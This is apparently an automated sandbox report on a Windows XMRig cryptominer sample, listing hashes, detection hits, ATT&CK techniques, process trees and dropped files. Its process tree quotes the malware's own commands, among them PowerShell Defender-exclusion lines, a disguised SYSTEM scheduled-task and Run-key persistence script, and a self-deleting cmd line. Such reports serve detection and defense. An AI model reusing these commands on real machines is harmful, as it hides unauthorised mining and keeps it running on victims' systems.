xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
360s
max time network
1800s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

6aNn9vLJCQVfagSE.exeupdater.execonhost.exe

description	pid	process	target process
PID 2548 created 1204	2548	6aNn9vLJCQVfagSE.exe	Explorer.EXE
PID 2548 created 1204	2548	6aNn9vLJCQVfagSE.exe	Explorer.EXE
PID 2548 created 1204	2548	6aNn9vLJCQVfagSE.exe	Explorer.EXE
PID 2548 created 1204	2548	6aNn9vLJCQVfagSE.exe	Explorer.EXE
PID 3000 created 1204	3000	updater.exe	Explorer.EXE
PID 3000 created 1204	3000	updater.exe	Explorer.EXE
PID 3000 created 1204	3000	updater.exe	Explorer.EXE
PID 3000 created 1204	3000	updater.exe	Explorer.EXE
PID 1832 created 1204	1832	conhost.exe	Explorer.EXE
PID 3000 created 1204	3000	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral3/memory/2332-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2332-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2492 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

3000 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2528 taskeng.exe

pid	process
2492	cmd.exe

pid	process
3000	updater.exe

pid	process
2528	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral3/memory/2332-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2332-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 3000 set thread context of 1832	3000	updater.exe	conhost.exe
PID 3000 set thread context of 2332	3000	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

6aNn9vLJCQVfagSE.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	6aNn9vLJCQVfagSE.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2504 schtasks.exe
2992 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1628 WMIC.exe

pid	process
2504	schtasks.exe
2992	schtasks.exe

pid	process
1628	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50d1bc0a474eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

6aNn9vLJCQVfagSE.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2548	6aNn9vLJCQVfagSE.exe
2548	6aNn9vLJCQVfagSE.exe
1616	powershell.exe
2548	6aNn9vLJCQVfagSE.exe
2548	6aNn9vLJCQVfagSE.exe
2672	powershell.exe
2548	6aNn9vLJCQVfagSE.exe
2548	6aNn9vLJCQVfagSE.exe
2548	6aNn9vLJCQVfagSE.exe
2548	6aNn9vLJCQVfagSE.exe
2976	powershell.exe
3000	updater.exe
3000	updater.exe
1900	powershell.exe
3000	updater.exe
3000	updater.exe
2644	powershell.exe
3000	updater.exe
3000	updater.exe
3000	updater.exe
3000	updater.exe
1832	conhost.exe
1832	conhost.exe
3000	updater.exe
3000	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	3000	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1628	WMIC.exe
Token: SeSecurityPrivilege	1628	WMIC.exe
Token: SeTakeOwnershipPrivilege	1628	WMIC.exe
Token: SeLoadDriverPrivilege	1628	WMIC.exe
Token: SeSystemtimePrivilege	1628	WMIC.exe
Token: SeBackupPrivilege	1628	WMIC.exe
Token: SeRestorePrivilege	1628	WMIC.exe
Token: SeShutdownPrivilege	1628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1628	WMIC.exe
Token: SeUndockPrivilege	1628	WMIC.exe
Token: SeManageVolumePrivilege	1628	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1628	WMIC.exe
Token: SeSecurityPrivilege	1628	WMIC.exe
Token: SeTakeOwnershipPrivilege	1628	WMIC.exe
Token: SeLoadDriverPrivilege	1628	WMIC.exe
Token: SeSystemtimePrivilege	1628	WMIC.exe
Token: SeBackupPrivilege	1628	WMIC.exe
Token: SeRestorePrivilege	1628	WMIC.exe
Token: SeShutdownPrivilege	1628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1628	WMIC.exe
Token: SeUndockPrivilege	1628	WMIC.exe
Token: SeManageVolumePrivilege	1628	WMIC.exe
Token: SeLockMemoryPrivilege	2332	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2672 wrote to memory of 2504	2672	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2504	2672	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2504	2672	powershell.exe	schtasks.exe
PID 2492 wrote to memory of 2688	2492	cmd.exe	choice.exe
PID 2492 wrote to memory of 2688	2492	cmd.exe	choice.exe
PID 2492 wrote to memory of 2688	2492	cmd.exe	choice.exe
PID 2976 wrote to memory of 2544	2976	powershell.exe	schtasks.exe
PID 2976 wrote to memory of 2544	2976	powershell.exe	schtasks.exe
PID 2976 wrote to memory of 2544	2976	powershell.exe	schtasks.exe
PID 2528 wrote to memory of 3000	2528	taskeng.exe	updater.exe
PID 2528 wrote to memory of 3000	2528	taskeng.exe	updater.exe
PID 2528 wrote to memory of 3000	2528	taskeng.exe	updater.exe
PID 2644 wrote to memory of 2992	2644	powershell.exe	schtasks.exe
PID 2644 wrote to memory of 2992	2644	powershell.exe	schtasks.exe
PID 2644 wrote to memory of 2992	2644	powershell.exe	schtasks.exe
PID 3000 wrote to memory of 1832	3000	updater.exe	conhost.exe
PID 1080 wrote to memory of 1628	1080	cmd.exe	WMIC.exe
PID 1080 wrote to memory of 1628	1080	cmd.exe	WMIC.exe
PID 1080 wrote to memory of 1628	1080	cmd.exe	WMIC.exe
PID 3000 wrote to memory of 2332	3000	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1664

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2504

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2688

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\system32\taskeng.exe
taskeng.exe {DE4A840A-DAAA-41CA-AE99-594CC4B12DA2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2528

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2544

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
226KB

MD5
7e9a32036e8b1331249d3d33bae2cedc

SHA1
e6e34756cc0b1fe44ffd1d91a4d2282f54750973

SHA256
b9a03270e704500269b68206081d95f3f8f9bd50fbe860ebe7cd1c84b8404139

SHA512
ed5238586784a80b5337419f6b8c783667c90453a8e7135fcff6cacb347effc6a0065e4ff527f3efe411963c8c1c2dd78ca79d6ca9241054a8647702bc3b6361

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K7LOQCWMQL2BWNE81ZJS.temp
Filesize
7KB

MD5
172b26eaf7b41616bc6a79ff58e1e84f

SHA1
17d284800d52667295f3de738a0afc72a5d84b0e

SHA256
3f7cf9c4d77fc6d19ae31a2832706a750c7b7d0c24f3122ab04628de0f263944

SHA512
d1522ff253c968cfd1d85685bd5784ec732203daa6ccef696ed487fed13b7c0e12ee10289c75050e9df9067e7c9564482296420bf522af8dca7c96ecac090e30

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
9KB

MD5
b0bfa4a6ce2d9203147b7e5a32b0e818

SHA1
fe00782988483414ede86815c43488b650f6160b

SHA256
492909579ac7276ca652e6f455b2afe17d9e933cd2b2c31fb92e61023f28b41d

SHA512
bdc0c6294df334208469eb3f24d74363f29aaacc608832387667c94b36ec5c982fec1a71f8ede2430c17568db1a4b60538fde20d0cdc18b369254d18dd920a6f

Download Submit
memory/1616-8-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1616-12-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/1616-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/1616-10-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1616-11-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1616-6-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/1616-7-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

Filesize
9.6MB

Download
memory/1616-5-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/1832-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1832-67-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1900-46-0x0000000000D70000-0x0000000000DF0000-memory.dmp

Filesize
512KB

Download
memory/1900-43-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/1900-44-0x0000000000D70000-0x0000000000DF0000-memory.dmp

Filesize
512KB

Download
memory/1900-47-0x0000000000D7B000-0x0000000000DE2000-memory.dmp

Filesize
412KB

Download
memory/1900-48-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/1900-45-0x000007FEF4E30000-0x000007FEF57CD000-memory.dmp

Filesize
9.6MB

Download
memory/2332-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-63-0x00000000001D0000-0x00000000001F0000-memory.dmp

Filesize
128KB

Download
memory/2332-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-65-0x0000000000FA0000-0x0000000000FC0000-memory.dmp

Filesize
128KB

Download
memory/2332-66-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2332-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2332-74-0x0000000000FA0000-0x0000000000FC0000-memory.dmp

